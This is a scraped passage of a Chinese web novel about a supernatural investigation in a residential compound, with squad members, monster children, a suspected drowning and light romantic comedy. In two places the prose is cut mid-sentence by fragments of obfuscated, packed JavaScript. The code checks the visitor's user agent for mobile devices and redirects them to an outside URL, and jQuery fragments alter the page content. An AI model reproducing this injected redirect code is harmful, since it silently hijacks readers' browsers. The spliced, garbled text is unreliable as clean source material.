l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104518|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村人,从小和奶奶相依为命,没上过几天正经学,初中毕业就出门学汽修,后来又跟着成野到西南一带跑起了长途。赚到钱之后就很少再回老家,但有一阵子经常给同乡年轻人安排工作,逢年过节更是一车车烟酒地往村里拉,所以口碑不错。 “据村民回忆,贠大力有过一个老婆,叫杜晓荷,江城人。”钟沐继续说,“不过我们没查到这段婚姻记录,姑且就当是同居女友。两人至少交往了八年,从贠大力一无所有到小有所成,眼看生活即将步入正轨,贠大力却开始吃喝嫖赌,两人就分手了。” 听起来是一个相当典型而又俗套的,“男人有钱就变坏”的烂故事。 易恪问:“现在还能找到杜晓荷吗?” 钟沐回答:“正在找,暂时没结果。”这名字太普通,系统里符合特征的名单能拉出好几页,况且具体是哪三个字也还没确定,杜小荷杜筱何杜小河都有可能。画像师只能先根据村民描述,大致手绘出一张人像,身高有些矮,健壮,看起来很能干,留着短短的学生头。 把这张人像拿给小区老住户们集体辨认之后,基本能确定她就是当年经常买泡面的租客,可最关键的孩子呢?在这一点上,村民们的说辞和桃李小区住户一致,都认定贠大力和杜晓荷两人并没有孩子,可没有孩子,似乎就没法解释155路公交车的逃离规则。 事情好像清楚了,但又好像更乱了。这一晚八点,怪物在取走行李箱后,果然没有再回来,他真的出了远门。随着怪物的离开,小区里的白雾消散些许,也不再有刺骨的冷。十一点多,庄宁屿靠在沙发上,一页一页翻看着贠大力的资料,文字密密麻麻,而连日来的神经紧绷终于在此时换来一丝困意,他闭上眼睛,耳朵听到窗户处传来的“咔哒”声,立刻就睡得更熟了些。 刚巡查完整个小区的易恪关好窗户,又走到沙发前,把垂落的羊毛毯弯腰替庄宁屿盖好。一支银白色的手机正翻扣在地毯上,散出一圈亮光,似乎是有新消息接入。易恪随手捡起来,原本是想替他放回桌上,却冷不丁和屏幕里的亲爹来了个对视,这情节太过骇人闻见,他没有一丝丝防备,差点以为自己进入了精神污染区。而沙发上的庄宁屿还在专心致志地装睡,或者说是真睡,他这几天确实有些累,所以就算感觉到易恪正一动不动站在自己面前,也懒得再搭理对方。 过了许久,易恪才脚下发飘地回到卧室,整个人充满灵魂震撼,他握着自己的手机,艰难开口:“他为什么要用我爸的照片当屏保?” 另一头的荆澜倒吸一口凉气,真的假的,怎么还有这种狗血故事情节?说完之后及时考虑到易恪目前的心情,又迅速恢复严肃,展开多角度切入分析,会不会是因为庄哥用了什么自动换屏保的APP,今天显示你爸,明天显示沙滩美女,后天显示经典夏威夷风情大披萨,和电脑病毒一个原理。 易恪断然否认,按照庄宁屿的审美和性格,绝对不会允许手机里出现这种垃圾软件。荆澜稍微顿了顿,语调放沉:“既然如此,那就只剩下另一种可能性,你——” “闭嘴!”易恪冷酷出言打断,不愿再听。 荆澜“啧”一声:“也不一定就是坏事儿,换个角度想,你和年轻时的伯父长得简直一模一样,不如稳稳抓住这个机会,替身上位……喂,喂?” 听筒里传来一阵“嘟嘟”的忙音。 与此同时,桃李小区,所有行动队员手机上都弹出一条紧急通知—— “注意,新的怪物已经出现!” 9. 桃李小区9 易恪看了眼腕间的机械表,时间显示00:03。 “他们是几点出现的?” “刚过凌晨。” 行动队员们各自隐匿在阴暗处,看着院子里的新怪物们,“孩子”真的出现了。但和之前所预料的不同,他们并没有怪物的外形,粗略一扫,完全就是一群虎头虎脑的,可爱漂亮的正常小孩。 钱越看得目瞪口呆:“怎么这么多?” 这是他的疑问,也是所有人的疑问,眼下正在小区健身器械区里玩耍的“孩子”,足足有二十三个。他们疯疯张张地尖叫笑闹着,爬滑梯、荡秋千,把生锈的踏步机摇晃得嘎吱作响,绿化带里的盆栽也被连根拔起,泥土和花叶落了满院。 “呜哇哇哇,你踩我!” “啦啦,我去炸学校,老师不知道! “小鸟说,早早早!” “我要告老师!” 庄宁屿刚抵达现场,就从天而降一团黑影,他先是迅速向另一侧闪开,却在看清那到底是什么时,又果断伸手一拎。 刺耳的哭声顿时响彻整个健身区,浑身脏兮兮的小男孩在他手中扭动着,四肢大张,嗓门堪比唢呐,红毛衣上沾满泥巴,鼻涕眼泪也糊了满脸。叶皎月用眼神示意其余队员原地待命,庄宁屿则是把这唢呐精放在地上,又替他拍了拍衣服,问:“你爬到树上做什么?” “不为什么,好玩。”小男孩用袖子一擦嘴,转身又想跑,却被庄宁屿从后领上勾住,皱眉问:“都几点了还在外面野,你爸妈呢?” “不要你管。”大抵是因为庄宁屿刚才的语调有些严肃,小男孩的挣扎幅度变小了些,却还是嘴硬不肯配合,“你又不是我爸妈!” 庄宁屿伸手一指:“你妈在那儿。” 小男孩顺着他的方向看过去。 青岗赶紧调整出慈爱的表情,站在昏黄路灯下,自我感觉好似会发光的圣母玛利亚,但怎么讲,玛利亚肯定没有两米一,也肯定不会端着枪。 “他才不是我妈妈,不是!”小男孩意料之中没有上当,脖子一缩从庄宁屿手里溜走,“咚咚咚”就爬到了滑梯最顶端。 青岗大大怨怼,我怎么就不是他妈了,要没有我舍身怀孕,哪里来的他? 钟沐站在他身侧:“总不能这二三十个都是你生的吧,说不定这个不认那个认,再仔细挑挑呢?” 青岗灵魂一问:“是挑长得像我的,还是挑长得像贠大力和杜晓荷的?” 贠大力各个年龄段的照片已经被调取出来,年轻时的他和那张杜晓荷的画像其实很像,两人都有着微微上挑的细眼睛,宽鼻子,颌面走向也相似,是名副其实的夫妻相。这么一对男女,如果真的有孩子,那大概率是很容易依靠长相辨认的。 庄宁屿用视线在孩子堆里搜寻一圈,既没找到长得像青岗的,也没找到像贠大力和杜晓荷的。他用目光示意青岗再去搭搭话,但事情进展并不顺利,小朋友们明显对这个天降保育员毫无兴趣,理都懒得理。 “我真不行。”青岗深感这玛利亚的活也不好干,“不然找两个女队员去试试,再不然,干脆庄哥亲自上,反正他人缘是出了名的好。” 钟沐试着喊了几声,没用,叶皎月又让人拎了一大袋子零食出来,这回倒是很受欢迎,可受欢迎不代表要听话,小崽子们蜂拥而上,无数双小手伸进塑料袋,场景和峨眉山的猴子掏面包有一比,拿完转身就走,绝不逗留。 “咳。”好人缘的庄宁屿清了清嗓子,正准备开口,迎面就高速飞来一个皮球。易恪眼疾手快,挥拳替他挡开,又面色不善地看了眼对面的罪魁祸首,红毛衣小男孩“略略略”地吐着舌头,捡起皮球一路跑远,顺便招手带走一众“部下”,对着棋牌室发起新一轮攻陷。 扑克牌和麻将满天飞,钟沐只觉得一个头两个大,她内心尚且是个无忧少女,向来只爱享受恋爱甜蜜,远没有管教小孩子的经验,更别提眼前还是一群超能怪物儿童,无法无天上蹿下跳,这谁管得住? 青岗也头疼:“总不能杵在这里陪他们一整晚吧?” “物业办公室旁边有一间大厅,可以暂时当成儿童宿舍。”叶皎月说,“至于要怎么才能让他们乖乖听话,你们谁有带小孩子的经验?” 现场一片沉默,除了庄宁屿。他家里虽然没有孩子,但在纠纷调解部时没少干帮群众照顾捣蛋孩子的活,经验丰富,带孩子这种事,原理基本趋同,找一个能吓得住他们的人就行。 十分钟后,货真价实的数学名师张辉气喘吁吁地出现在了棋牌室前,他稍微整了整格子衬衫领口,一手端着保温杯,一手推开门,沉下脸高声问:“你们是哪个班的,怎么这个点还没回宿舍?” 霎时间,整个世界都安静了。孩子们纷纷站直,还悄悄扯了扯自己皱巴巴的衣服。 所有队员都朝庄宁屿竖起大拇指,高明,属实高明。 数学老师任务完成,紧接着出场的是生活老师,志愿者们用最短的时间,把大厅布置成了大宿舍。不到一个小时,这群原本脏兮兮的小怪物就被洗得干净清爽,换上全棉睡衣,围在一起开始做睡前小游戏,老师们把英文识图卡发给每个人,在一片叽叽喳喳的“apple”“ambulance”里,只有红毛衣小男孩相当不配合,他把手里的卡片用力一丢,捂着眼睛就开始打滚尖叫,调皮捣蛋得分外突出,足足换了三个老师才哄好。 钟沐:“我将来不想要孩子了。” 钱越:“不至于不至于。” 做完游戏的孩子们打着呵欠钻进被窝,又闹了一会,才总算在老师的故事里进入梦乡。 叶皎月已经把所有孩子编好了号,从1到23。庄宁屿点开档案大致扫了一眼,红毛衣小男孩是1号,小淘气鬼,话很多,但多是无意义的大喊大叫,你问东他答西,老师让他给自己选一个名字,他说要叫小虫虫,在一片喧闹里,被吵得脑瓜子嗡嗡的老师在登记簿上写,小丛丛。 “按照规则,只要让母亲把孩子带上公交车,故事岂不是就能结束了。”钱越发散思维,“不然让青哥把这一批孩子都带上车试试?” “这的确是我们的计划A,不过根据以往的行动经验来看,成功的可能性不大。”钟沐说,“也就是眼下我们有的是钱,不用精打细算过日子,又不缺人手,叶队才会同意这么瞎试。” 纠纷调解部经费向来紧张,钱越过惯了抠搜日子,对“有钱有人”这件事充满盲目羡慕,于是立刻把视线投向另一边的易恪,毕竟这次大家有钱全靠他。易恪却明显对众人的对话没什么兴趣,整个人心不在焉,像是……钱越挖空心思想了半天,觉得对方诸多条件都优越过头,物质方面实在没什么好值得忧愁,情绪低落只可能是遭受了精神伤害,于是他压低声音问庄宁屿:“老大,小易是不是失恋了?” 庄宁屿听不得这话,手一抖,把自己的脑子强行从二十三个孩子里抽出来,而一旁的钱越还在喋喋不休:“你快看小易,他今晚真的很不正常。” 易恪今晚的确不正常,庄宁屿也发现了,除了出手挡皮球那一下,在其余大部分时间内,对方都显得有些神思恍惚,偶尔对上自己的眼神,脸上还会浮现出一种极端复杂的,难以描述的表情。庄宁屿暂时不知道他这病又是因何而起,但任务在先,也没空仔细分析,只能先把钱越打发回去睡觉,自己抬头看向易恪,打算抽几分钟和他谈谈。 结果易恪转身就走。 庄宁屿:“……” 叶皎月恰好看到了这一幕,疑惑地问:“你得罪他了?” “没有啊。”庄宁屿也满头雾水,毕竟几个小时前对方还在温情脉脉给自己盖毯子,怎么几小时后忽然就要跑,难不成爱情真如四月美景无常,这一刻还阳光灿烂,下一刻乌云出现,一切就都没了踪影。 叶皎月提醒:“霍部特别交代过,小易的事都由你全权负责。” 庄宁屿一个大好青年被囹于这豪门保姆的身份里,实在有苦难言,于是举着手机又颠倒来回看了半天易国东的脸,才调整心情回到1601。 易恪坐在客厅沙发上,手里捏着一瓶橘子味的冰镇汽水,水雾顺着瓶身凝结,在地毯上溅出一圈湿痕,听到门响,他没有抬头,但也没有走。 庄宁屿倒了两杯热红茶,端着放在茶几上。夜很安静,其余队员也还没有回来,算是个不错的谈心场所,虽然暂时还不知道要从哪里开始谈,但纠纷调解部平时干的就是这种活,熟能生巧,多少占点职业优势。他把其中一杯红茶推到易恪眼前,又把冰镇汽水从他指间抽出来。 易恪和他对视,庄宁屿眼神温和,被杯子里氤氲的热气一蒸熏,整个人显得格外柔软,但这份柔软显然又伤害到了易恪,因为他脑子里忽然冒出一句不合时宜的台词,“她的一双妙目紧盯着我的眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113581|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但流露出来的却是对别人的爱情”。 黑夜里的文艺情绪,是一根扎进心里的柠檬尖刺。庄宁屿眼下并不知道对面的人已经被戳得稀碎,更不知道自己已经被脑补为一场伦理大戏的悲情主角,还在温和友爱地问他:“要谈谈吗?” 易恪脱口而出:“你觉得我爸怎么样?” 欸?庄宁屿稍稍一滞,没料到对话会是这走向,闹了半天,原来是在和家里闹矛盾。他松了口气,纠纷调解部安抚过的叛逆儿童没有一百也有八十,这活他熟,于是点点头:“易总很好。” 易恪入职时的心理承受能力评级为优+,但显然没有优在这方面,他现在觉得自己连呼吸都有点困难,更不想再深究亲爹到底好在哪里,于是站起来就往卧室走:“晚安。” 庄宁屿没能拦住,眼睁睁看他关上了房门,思前想后,还是没搞懂为什么这人每天都有新妖能作。而城市另一头的荆澜再度被狐朋狗友的电话无情吵醒,他觉得自己也快碎了,这件事一时半刻又分析不出什么结果,就不能等我睡醒了再说? 易恪:“不能。” 荆澜苦口婆心:“退一万步讲,就算庄哥真的误入歧途,难道你就不能把他掰回来吗?这件事得这么想,之前你追他,只是肤浅地觊觎人家美貌,属于见色起意,现在你追他,还多了一丝丝拯救失足男青年的崇高使命,爱情被升华了!” 易恪:“……” 他坐在床边,并不想理会听筒里传来的聒噪声响,窗外天色已经开始泛白,从这个角度,刚好可以看到小区里临时搭建的那间大宿舍。庄宁屿已经下了楼,正站在台阶上和青岗说着什么,他身上依旧裹着那条大羊毛毯,被风一吹,就会扬起白色的角。 荆澜问:“你怎么不说话了?” 楼下的庄宁屿此刻也恰好抬起头,其实按理来说,十六楼玻璃后的一个人影是很难被捕捉的,更不可能对视,但易恪依旧觉得自己的心漏跳了半拍,爱火非但难熄,还燃烧得愈发不可控制,伴随一丝新添加的,微不可言的隐秘禁忌,滋味实在难言。 这情愫明显有别于见色起意,要更高一档,荆澜从善如流:“好好好,你还爱他圣洁的灵魂。” 院子里的青岗问:“庄队,你为什么打了个寒颤?” 庄宁屿:“没事,就是后背突然发麻。” 青岗:“是吉兆!” 庄宁屿没太想通后背发麻和吉兆的关联,但青岗自有他的一套说法,左眼跳财,右眼跳财,后背麻完也来财。 庄宁屿:“……失敬了大师。” 两人聊了一阵,天色已然大亮。桃李小区最不缺的就是老师,处理起这群怪物小孩来可谓得心应手,一晚上的时间,课程表已经满满当当编了出来,不管怎么说,先把他们控制住总没有错。 庄宁屿去春风超市里买了一大袋三明治,原本准备拎到会议室,结果出门就撞到易恪,也不知道是不是错觉,他总觉得对方如今看自己的眼神有了明显改变,如果说之前只是深情款款的职场骚扰,那现在就是增加了攻击性的职场骚扰,很有几分势在必得的凶悍气场,转变得相当莫名其妙。 庄宁屿防备地问:“你有事吗?” 易恪递过来一盒三明治和一杯咖啡,自己则是熟门熟路从庄宁屿手中接过塑料袋,勾在手指上往会议室的方向走,全程没说话。庄宁屿忙了一晚上,早就饿得前胸贴后背,现在搞得吃也不是,不吃也不是,会议室里都是人,他不用想也知道自己端着这豪华三明治入场落座的传世画面,干脆一屁股坐在台阶上,示意易恪先去会议室给其他同事送早饭。 易恪点头:“好。” 言简意赅,好一个惜字如金的超绝酷哥。庄宁屿不清楚这人的爱意怎么还能随意进化,根据不同时间切换不同形态,昨天粘人今天冷傲,真的要命。但好在三明治内容丰富,分量感人,拌着咸蛋黄的沙拉酱有一种异常香浓的奇妙风味,由此可见追人先追胃属实是有它的道理。 会议室里,钱越左右到处找:“庄哥呢,要不要给他留份吃的?” “不用。”易恪靠坐在椅子上,漫不经心,但又有那么一点点经心地说,“我给他做了早餐。” 钱越闻言先是大大一震惊,觉得怎么你这有钱人还会亲自做饭,然后紧接着,心里就涌上了浓浓的职业危机感。 就说他真的在觊觎我们纠纷调解部的工作! 10. 桃李小区10 十点钟,公交车准时出站,老师们也提前带着孩子们排好了队。小丛一如既往不配合,抱着一棵树“蹭蹭蹭”往上爬,就是不肯上前,庄宁屿只能安排第一组孩子先准备好。 怪物司机停稳车后打开车门,看了一眼站牌旁的青岗,顿时面露不悦,粗声粗气地说:“你没阅读过规则吗?本车辆仅限未成年和他们的母亲乘坐。” 青岗诚恳回答:“师傅,我就是他们的母亲。”说完,还特意指了指树上挂着的小丛,补充道,“那个也是。” 怪物司机用看白痴的眼神看了他一眼,可能是吸取了上次被易恪强行乘坐的经验教训,倒也没多废话,只是干脆利落按下关门键,一脚油门跑得飞快,只留下一串尾气。 “得,省钱了。”钟沐顺手揉了揉身边小朋友的脑袋,“看来还是得找到真的妈。” 小孩子们并不懂她在说什么,只是嘻嘻笑着,于是钟沐也看着他们一起笑,抛开怪物和人类的身份不谈,这画面其实挺有爱。小区住户们昨晚听说有新怪物降临,最开始还有些紧张恐惧,现在看到竟然是这么一群吵吵闹闹的小孩子,悬在嗓子眼的心也放了回去。 “可爱归可爱,但大家还是要保持距离。”钟沐提醒,毕竟这是一群规则孕育出的怪物,而怪物是不可控的。 “知道知道。”张阿姨一边回答,一边张罗各家各户贡献出不用的毛毯被褥,把宿舍里的床铺得更软和了一些。 155路公交车规则暂时不可用,但第八条规则应该可以试一试——请尽可能地远离露台。 庄宁屿把孩子们分成三组,由生活老师分批带领,乘坐电梯上顶楼。前两组都很顺利,孩子们活蹦乱跳,看上去也很喜欢空旷的露台,等到了第三组,小丛在刚进电梯时还显得很正常,但随着显示屏上的数字越来越大,他眼中突然浮现出明显的惊惧,而等电梯门打开,看清眼前被白雾包裹的露台后,他终于不可控地尖叫起来,用双手捂住眼睛,转身踉踉跄跄撞向冰冷坚硬的电梯轿厢。 易恪早有准备,一只手垫在他脑门前,另一只手一提一拎,把人整个抱了起来。生活老师此时已经带着其余孩子出了电梯,庄宁屿按下关门键,伸手在小丛背上拍了拍:“别怕。” 小丛依旧瑟缩着,嗓子嘶哑地喊了一声“妈妈”。 易恪其实不擅长哄孩子,也没什么耐心,但一想到这个孩子或许曾经从天台坠落,语调也就软了几分,低头问:“你的妈妈是谁?” 小丛却不肯再说,只是拼命叫着“不要”,电梯门再度打开后,他挣扎着要从易恪怀里下来,手脚并用连咬带踢。易恪稍稍皱眉,捏住他的脖颈,想要和自己拉开一段距离,对方却突然瞪大双眼,面容急剧变化,鲜血从他的眼耳口鼻里溢出来,脖子也扭出一个极端诡异的角度——就如同刚从露台坠落。 “快放开我!”他大喊一句,面目扭曲狰狞地扑过来,“坏人,你们都是坏人!” 庄宁屿一把扯住他的后衣领,易恪身体同时后仰,堪堪擦过那张鲜血淋漓的脸。庄宁屿并不想伤害手里这个疯狂的小怪物,也不能伤害,毕竟他已经被证实是这次游戏的主人公,一旦出事,大概率就代表着任务的失败。 电梯里的其余两名行动队员围上来,庄宁屿示意他们先不要行动,自己用双手用力控制住孩子,转头对易恪喊:“顶楼!” 易恪迅速去按电梯关门键,小丛在狂躁的挣脱过程中,手指不小心勾住了庄宁屿的多功能表带,暗藏的锋刃霎时刺穿孩童细嫩的皮肤,剧痛使他越发用力地抬脚乱踹,手表被扯落,坚硬的鞋底重重踢上庄宁屿有旧伤的膝盖,伴随一声弹响,后者额头立刻渗出冷汗,手上也有一瞬脱力,小丛趁机双手扒住电梯门,硬生生把它们扯开一条缝隙,弯腰钻了出去。 “别伤他!”钟沐带着人从前包抄,但小丛目前正处于完全失控状态,具有极强的攻击性,根本拦不住。 唯一能使他安静下来的办法,或许就是把人带回露台,利用恐惧情绪使他重新缩成一团。庄宁屿刚才也是这个想法,但可惜没能及时把人控制住,现在再想把他带进电梯,基本是不可能的任务。 “腿怎么样?”易恪扶住庄宁屿,蹲下想替他检查膝盖。 “没事。”庄宁屿躲开,自己试着动了两下,痛,但活动不受限,暂时处于可接受范围内。他拍怕易恪的肩膀:“先别管我了,你车停在哪?” “车?”易恪把他的裤腿放下来,“就在这栋楼后。” “开过来。”庄宁屿说,“跟在他屁股后面跑。” 易恪没明白为什么要这么做,但也没多问,扶着他坐好之后,就大步跑去开车。轮毂碾过地面,刹车带来刺耳声响,其余队员纷纷闪开,搞不懂易恪这是在唱哪出,钟沐惊道:“你不会是想把他撞死吧?” 话音刚落,车已经稳稳停在小孩身后,空档油门一阵轰鸣,小丛果然安静了下来,他蹲在地上环抱住自己,整个人都在发抖。庄宁屿一瘸一拐地想走上前,却被刚下车的易恪拦住,钟沐弯腰把孩子抱了起来,发现他正在哭,无声而又恐惧的那种哭,泪珠大颗大颗落下,嘴里小声叫着“妈妈”。 钟沐抱着他坐在花坛边沿,远离了易恪开来的那辆车,手心一下又一下在背上安抚,又轻声问:“你妈妈和阿姨长得像吗?” “……不像。”小丛手里拽着她香香的长发,又笨拙地贴在自己脸上,闭起眼睛发呆,看起来像是哭累了,嘴里嘟囔几句,没多久就昏昏沉沉睡了过去。 小丛被放回了宿舍小床上,钟沐依旧靠在旁边陪着他。会议室里,钱越问:“老大,你为什么会知道他害怕汽车?” “昨天做睡前游戏的时候,他对汽车卡片有明显的抵触情绪,双手捂住眼睛尖叫,和今天看到露台后的反应基本相同,包括早上不愿意靠近公交站台,应该也是同一个原因。” 钱越纳闷:“不应该啊,在正常情况下,绝大多数这个年龄段的小男孩应该很喜欢汽车才对,就算不喜欢,也不至于会害怕,难不成曾经被车撞过?” “是有这种可能性,不过仅仅被撞过,应该不至于这么惧怕。”庄宁屿说,“我猜他当初从天台跌落后,应该还没有死,而后被紧随而至的某个人带上了一辆车,但却没有及时送往医院,致使生命消失在了车里。简言之,是天台和汽车一起杀了他,所以他才会对这两者有同等的恐惧。” “某个人,谁,他亲爹,贠大力?”钱越猜测。毕竟孩子没了,正常家长怎么着也要哭一哭闹一闹,当年的老住户们不可能完全没印象,能让家长沉默的只有一种可能性,那就是家长也是凶手,或者至少也是凶手之一。 最新版的调查结果已经被上传,庄宁屿看着刷新后的页面,瞳孔稍稍一缩。易恪也皱起眉:“杜晓荷,疑似……溺亡?” “贠大力发迹不忘本,落魄后也没连累乡亲,所以在村里口碑很好,好到所有人都在替他隐瞒同一个秘密。” 负责调查的工作人员第一时间就觉察到了这件事,所以他们费了好一番力气,总才算找到了一名和贠大力曾经闹过矛盾,近些年一直在外打工的同村人,从他口中得知,贠大力的第一任女友杜晓荷并不是分手了,而是死了,十几年前,不明不白淹死在袁家村附近的一口深山水塘里。 那名同村人日子混得并不好,又曾经被贠大力使过绊子,自然不会替他遮掩,抽着烟说:“那年冬天,小六子大晚上开着三轮把一个女的拉回了村,说是贠大力的老婆,来走亲戚,在车站遇到就顺便带了回来。” 贠大力的亲戚,还住在村里的,那阵只有一个远房大姨奶。老太太耳聋眼花,脑子也不大清楚,开门之后稀里糊涂听了几句,就把女人接了进去,结果天才刚麻麻亮,女人却又急急忙忙地跑到小六子家敲门,掏出几张大钞,说要回长途汽车站坐第一班车,让小六子再送送她。 “小六子问她怎么这么赶,她说自己找错地方了。”同村人和小六子当时是酒友,所以知道不少细节。女人的身体看起来并不好,像是刚生过一场大病,脸色苍白,用一张大红围巾裹着头,走路一瘸一拐,坐在三轮车后斗时缩得分外可怜。说到这里,同村人“呸”了一声,“那婆娘当初不嫌他穷,他倒好,发达了也不知道对人家好点。” 庄宁屿翻了翻资料,据这名同村人讲述,贠大力在刚认识杜晓荷时,一穷二白,而杜晓荷虽然也是孤女,但却一直在外打工,有积蓄,条件不错。两人好上之后,靠着东拼西凑和贷款买了辆大货车,贠大力扎扎实实跑了几年长途,手里才慢慢有了钱。 同村人吐出一口烟:“小六子把她送走之后,贠大力的婆娘就再没回过村,又过了两年,高凛山的水塘里发现了一具已经死了一年多的女尸白骨。” 在警方通报里,女尸腿部有旧伤。村里人不是傻子,想起风雪夜里那个一瘸一拐的女人,自然心里犯嘀咕,但嘀咕归嘀咕,到底也没人去警察那里捅破这件事,无凭无据的,谁都不想招惹一身骚。 因为尸体无人认领,这件事最终被警方归为悬案。 钟沐继续说:“另外,关于顶楼那个镇魂塔,也有进展。调查组同事终于找到了当年的物业人员,经他回忆,小区一号楼的顶楼当年也不知道为什么,突然就开始漏水,外部公司要价太高,动用公共维修基金流程又太多,本来还在头疼,突然就来了一个包工头,说自己能干这个活。” 庄宁屿猜测:“贠大力?” “不是。”叶皎月摇头,“当时贠大力已经因为赌博债台高筑,正在四处躲债。那个包工头按照规定提交了施工资质,是个规模很小的‘游击队’,物业本来还不放心,但对方说可以先做活再收钱,再加上顶楼住户一直催促,就答应让对方先试试。” 结果这支包工队活干得竟然又快又扎实,还顺便给居民修了几根晾衣柱。因为实在太良心了,整个物业的工作人员都赞不绝口,其中一个员工甚至还想雇这支包工队给自家修缮老房,所以他费了好一番工夫,左找右找,最后终于找到了这支包工队。 “那员工发现他们并不是所谓的‘游击队’,而是挂靠在贠野建筑下的正式员工,至于为什么要隐瞒背后的公司,包工头当时给出的解释是手头紧,所以偷偷出来接点私活。” 钱越不相信:“什么接私活,我看十有八九是成野受贠大山所托,替他收拾烂摊子。” 易恪问:“单凭成野修在顶楼那口阴森森的井,我们就能约谈了他吧?” 叶皎月点头:“霍部明天会亲自见他。” 庄宁屿整理了一下目前比较明显的线索—— 1.贠大力和杜晓荷曾经租住在桃李小区,两人系情侣关系; 2.杜晓荷负责操持家务,贠大力负责跑大车赚钱; 3.小区居民并不认为杜晓荷是家暴受害者; 4.杜晓荷疑似溺亡在了贠大力老家附近的一口水塘; 5.小丛出于某种原因从天台坠落,死亡的事实却被家属隐瞒,尸体失踪; 至于小丛究竟是谁的孩子,除了贠大力和杜晓荷,似乎很难有别的答案,只是不知道为什么,所有人,不管是曾经有求于贠大力的,有仇于贠大力的,还是和贠大力没什么关系的小区居民,都对这个孩子毫无印象。 “奇了怪了。”青岗嘀咕,“这小皮猴子到底从哪儿冒出来的?” 庄宁屿问:“什么情况下,一对夫妇会把自己的孩子藏起来?” 钱越回答:“两种情况,要么孩子有病,要么家长有病。” 家长有病,是指极端的控制 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易恪“嗤”地一笑,眉眼稍垂和他对视,声音压得很轻:“你现在连大声说话都不敢,还要揍我?所有同事都在后面看着,你揍完准备怎么和他们解释,说我调戏你?” 庄宁屿被“调戏”两个字调戏得不轻,一时也没想好从哪里开始骂,只震惊于人怎么能无耻到这种程度。易恪却已经不胡闹了,熟练换上一套十分听话体贴的表情,跟个变脸师傅似的:“你别乱动,马上就到。” 路程确实不远,医疗组就在会议室隔壁。护士指挥庄宁屿坐在检查椅上,易恪半跪着帮他卷起裤腿,就见那命运多舛的膝盖此刻已经肿胀成球形,皮肤在苍白里透出不正常的青红,年长的医生只过来看了一眼,就连连叹气:“小庄啊,你这……你说你这……唉,接下来一段时间千万不要再走路。 庄宁屿问:“出任务怎么不走路?有没有什么快一点的治疗手段。” “你现在又不是秩序维护部的正式队员。”老医生不为所动,“这次进入规则区只是为了照顾小易,出什么任务,任务有的是人出,带伤行动,你这腿将来还想不想要了?” 易恪站在旁边,嘴角上翘。庄宁屿这次之所以会进入规则区,纯粹是为了易恪,这件事所有队员其实都心知肚明,但却集体默契选择不明说,毕竟按照正常人的逻辑,这种带着一点点私人关系的“破例”总不是什么光彩事,但其实他们统统都猜错,大少爷不仅不介意别人提,还恨不得让他们大提特提,最好能在秩序维护部出一整版墙报来细细描绘这段动人故事。 庄宁屿:“要点脸。” 处理好伤口后,医助又三下五除二搞出一把折叠轮椅,把庄宁屿扶了上去,拉着易恪交代了半天注意事项,最后把轮椅扶手郑重移交,重复一遍医嘱:“总之能少走路,就少走路。” 易恪:“明白。” 他推着轮椅走出诊疗室,面前有五级高高的台阶。机不可失,庄宁屿正准备找借口跑路,易恪却已经连人带椅子把他端了起来。进化者的体能优势被用在了很不应当的方面,庄宁屿身体折叠,深深陷在椅子里,感觉自己像个被淘汰的老式手机。好不容易被放回地面,他立刻站起来想走,结果半条腿完全没知觉,要不是被易恪及时捞回椅子上,现在大概率已经表演完了一出字面意义上的“五体投地”。 “你刚刚没听护士的交代吗?”易恪弯下腰,疑惑地看着他,“敷贴里有麻药。” 庄宁屿出师未捷,差点摔成狗吃|屎,很丢人,更懒得说话,于是挥手示意对方赶紧带自己回房。易恪站直身体,几不可闻地笑了一声,然后就推着轮椅在小区里慢慢悠悠地走。夕阳落在花叶间,静谧祥和,竟然还有几分相伴到老,相依为命的情调,至少易恪是这么想的,于是他停下脚步,正准备说话,却见庄宁屿已经以迅雷不及掩耳之势举起了手机。 易恪脚步顿住,他深吸一口气,终于问出了盘桓在心底许久的那个问题:“你为什么要把我爸放在桌面?” 庄宁屿心平气和地回答:“多看点善事,有助于我少扇你两回。” 这答案确实出乎易恪意料之外,隐秘禁忌霎时被风吹散,感情得以重回阳间,他不由大大松了口气,头顶阴霾一扫而空,心想原来只是因为我太烦人啊,于是喜滋滋俯下身,正要表示自己其实并不介意扇多与扇少,不料庄宁屿早有防备,单手一推,径直把轮椅摇出去二里地。 一个字都不想听。 纠纷调解吃饭群里消息不断,点开发现是钱越正在鬼叫—— 钱越:小易真的在和我争宠! 钱越:我发誓,他在带着庄哥离开时,的的确确在用胜利者的眼神看我! 吴桃:详细说说。 钱越来了精神,往事如黄河奔涌,写《部门工作总结不足与改进》时每个字都要从命里往外抠的人,告起状来却堪称当代文学大师,小作文篇篇呈上,分门别类列举了小易对庄哥的种种谄媚之举,相信我,这有钱人真的在觊觎我们的工作! 吴桃:我说了多少次,没有人觊觎我们的工作! 钱越:那他为什么要和我抢夺庄哥的保姆权? 吴桃:不然你再想想呢? 庄宁屿:。 吴桃:。 吴桃:没错,他确实在觊觎我们的工作。 钱越:但他为什么要觊觎我们的工作? 钱越:糟糕,他不会是在觊觎庄哥 吴桃:我没说! 钱越:的位置吧? 吴桃:…… 吴桃:老大,你辛苦,我先撤一步。 庄宁屿按熄手机屏幕,觉得这生活真是四面八方漏风。 迟早有一天屋顶都要被掀飞。 11. 桃李小区11 小丛睡醒之后,情绪变得稳定了许多,他看到床边坐着的钟沐,立刻就从被窝里伸出两条胳膊要抱抱。一旁的生活老师笑着说:“他很喜欢你呢。” “我也发现了。”钟沐把小丛抱起来,小朋友的身体很软,暖暖的,四肢纤细,像刚出窝的小狗。钟沐并不想把他和电梯里那血肉模糊的脸联系在一起,她拿过衣服,帮他换好,一边换一边闲聊:“小丛长得真可爱,大家说你更像谁呀,爸爸还是妈妈?” 小丛还没怎么清醒,揉着眼睛问:“妈妈来接我了吗?” 